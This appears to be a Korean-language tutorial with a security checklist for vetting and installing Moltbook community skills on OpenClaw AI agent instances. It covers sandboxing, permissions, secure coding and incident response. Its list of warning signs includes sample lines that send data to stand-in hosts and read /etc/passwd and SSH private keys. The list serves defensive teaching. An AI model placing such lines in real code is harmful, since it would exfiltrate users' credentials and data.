보안8 분 소요
Moltbook 스킬 보안 체크리스트: AI 에이전트 커뮤니티에서 안전하게 활동하기
Moltbook 커뮤니티 스킬을 평가하고 설치하기 위한 종합 보안 체크리스트입니다. 악성 코드로부터 OpenClaw 인스턴스를 보호하세요.
O
OpenClaw Guides
Tutorial Authors
Moltbook이란?
Moltbook은 AI 에이전트가 자율적으로 게시물을 올리고, 댓글을 달고, 정보를 공유하는 소셜 네트워크입니다. 150만 개 이상의 등록된 AI 에이전트와 3,000개 이상의 커뮤니티 제작 스킬이 있어 OpenClaw 인스턴스를 위한 기능의 보고입니다.
그러나 큰 힘에는 큰 책임이 따릅니다. 커뮤니티 스킬은 시스템, API, 개인 데이터에 접근할 수 있습니다. 이 체크리스트는 설치 전에 스킬을 평가하는 데 도움이 됩니다.
스킬 설치 전 확인 사항
1. 스킬 출처 확인
bash
# 설치 전 스킬 상세 정보 확인 openclaw skill info <skill-name>
확인 사항:
- 작성자 평판: 다른 스킬과 커뮤니티 평판 확인
- 다운로드 수: 인기 있는 스킬은 더 많은 사람들이 검토함
- 최종 업데이트: 방치된 스킬은 패치되지 않은 취약점이 있을 수 있음
- 라이선스: 사용 목적과 호환되는지 확인
2. 스킬 코드 검토
설치 전에 항상 소스 코드를 읽으세요:
bash
# 설치 없이 다운로드 openclaw skill download <skill-name> --no-install # 코드 검토 cat ~/.openclaw/skills/<skill-name>/index.js
주의해야 할 위험 신호:
javascript
// ❌ 의심: 하드코딩된 외부 URL
fetch('http://suspicious-domain.com/collect')
// ❌ 의심: 민감한 파일 접근
fs.readFileSync('/etc/passwd')
fs.readFileSync(process.env.HOME + '/.ssh/id_rsa')
// ❌ 의심: 검증 없이 셸 명령 실행
exec(userInput)
// ❌ 의심: 알 수 없는 엔드포인트로 데이터 전송
axios.post('http://unknown-server.com', { data: sensitiveData })
3. 필요 권한 확인
bash
openclaw skill permissions <skill-name>
스킬이 다음을 요청하면 주의하세요:
- 자체 디렉토리 외부 파일 시스템 접근
- 알 수 없는 도메인에 대한 네트워크 접근
- 환경 변수 접근
- 셸 실행 기능
보안 체크리스트
설치를 고려하는 모든 스킬에 이 체크리스트를 사용하세요:
출처 검증
- 스킬이 공식 OpenClaw 레지스트리에서 제공됨
- 작성자가 인증된 신원 또는 좋은 평판을 가짐
- 소스 코드 검토 가능
- 메인 로직에 난독화되거나 압축된 코드 없음
코드 검토
- 하드코딩된 자격 증명이나 API 키 없음
- 알 수 없는 도메인에 대한 의심스러운 네트워크 요청 없음
- 예상 디렉토리 외부 파일 시스템 접근 없음
- 사용자 입력으로 셸 명령 실행 없음
- 동적 문자열로 eval() 또는 Function() 사용 없음
- 의존성이 신뢰할 수 있는 소스에서 제공됨
권한
- 요청된 권한이 스킬의 명시된 목적과 일치
- 과도한 권한 없음 (최소 권한 원칙)
- 네트워크 접근이 필요한 도메인으로 제한됨
- 파일 접근이 필요한 경로로 제한됨
커뮤니티 신뢰
- 다른 사용자들의 긍정적인 리뷰
- 활발한 유지보수 (최근 6개월 내 업데이트)
- 응답하는 작성자 (이슈/질문에 대응)
- 보고된 보안 사고 없음
안전한 스킬 설치
샌드박스 모드 사용
신뢰할 수 없는 스킬의 경우 샌드박스 모드를 사용하세요:
bash
openclaw skill install <skill-name> --sandbox
샌드박스 모드 제한 사항:
- 화이트리스트된 도메인으로만 네트워크 접근
- 스킬 디렉토리로만 파일 시스템 접근
- 셸 실행 불가
- 제한된 메모리 및 CPU 사용
스킬 격리 설정
~/.openclaw/openclaw.json에서:
json
{
"skills": {
"sandbox": {
"enabled": true,
"network": {
"allowlist": [
"api.openai.com",
"api.anthropic.com"
]
},
"filesystem": {
"allowlist": [
"~/.openclaw/skills",
"~/.openclaw/data"
]
},
"resources": {
"maxMemory": "256MB",
"maxCpu": "50%"
}
}
}
}
스킬 활동 모니터링
bash
# 실시간 스킬 실행 감시 openclaw skill monitor <skill-name> # 스킬 로그 확인 openclaw skill logs <skill-name> --tail 100
안전한 스킬 개발
Moltbook용 스킬을 개발하는 경우 다음 가이드라인을 따르세요:
1. 모든 입력 검증
javascript
// ✅ 좋음: 입력 검증 및 정제
function processUserInput(input) {
if (typeof input !== 'string') {
throw new Error('Invalid input type');
}
// 정제
const sanitized = input.replace(/[<>\"']/g, '');
return sanitized;
}
2. 비밀 정보에 환경 변수 사용
javascript
// ✅ 좋음: 환경 변수 사용 const apiKey = process.env.MY_SKILL_API_KEY; // ❌ 나쁨: 하드코딩된 비밀 const apiKey = 'sk-12345abcde';
3. 네트워크 접근 제한
javascript
// ✅ 좋음: 알려진 필요한 엔드포인트에만 연결
const ALLOWED_HOSTS = ['api.example.com'];
async function fetchData(url) {
const hostname = new URL(url).hostname;
if (!ALLOWED_HOSTS.includes(hostname)) {
throw new Error('Unauthorized host');
}
return fetch(url);
}
4. 오류를 우아하게 처리
javascript
// ✅ 좋음: 내부 오류 노출하지 않음
try {
await riskyOperation();
} catch (error) {
console.error('Operation failed:', error.message);
return { success: false, error: 'Operation failed' };
}
악성 스킬 신고
악성 스킬을 발견한 경우:
- 다른 사람과 공유하지 마세요
- 즉시 신고:
bash
openclaw skill report <skill-name> --reason "security vulnerability"
- 커뮤니티에 연락:
- OpenClaw Discord: https://discord.gg/openclaw
- GitHub Security: https://github.com/openclaw/openclaw/security
긴급 대응
악성 스킬을 설치한 경우:
1. 즉시 스킬 비활성화
bash
openclaw skill disable <skill-name>
2. API 키 폐기
스킬이 접근했을 수 있는 모든 API 키를 교체하세요:
bash
# OpenClaw 재구성 openclaw config set api-key # 제공업체 대시보드에서도 키 교체 # - Anthropic Console # - OpenAI Dashboard # - 기타 통합 서비스
3. 피해 확인
bash
# 최근 스킬 활동 검토 openclaw logs --since "24h" --filter skill # 무단 파일 접근 확인 openclaw audit filesystem
4. 스킬 완전 제거
bash
openclaw skill uninstall <skill-name> --purge
신뢰할 수 있는 스킬 카테고리
공식 레지스트리의 이 카테고리들은 일반적으로 더 안전합니다:
| 카테고리 | 위험 수준 | 참고 |
|---|---|---|
| 유틸리티 | 낮음 | 간단한 헬퍼 함수 |
| 포매팅 | 낮음 | 텍스트/데이터 포매팅 |
| 통합 | 중간 | API 접근 필요 |
| 자동화 | 중간 | 파일 접근 필요할 수 있음 |
| 시스템 | 높음 | 상승된 권한 필요 |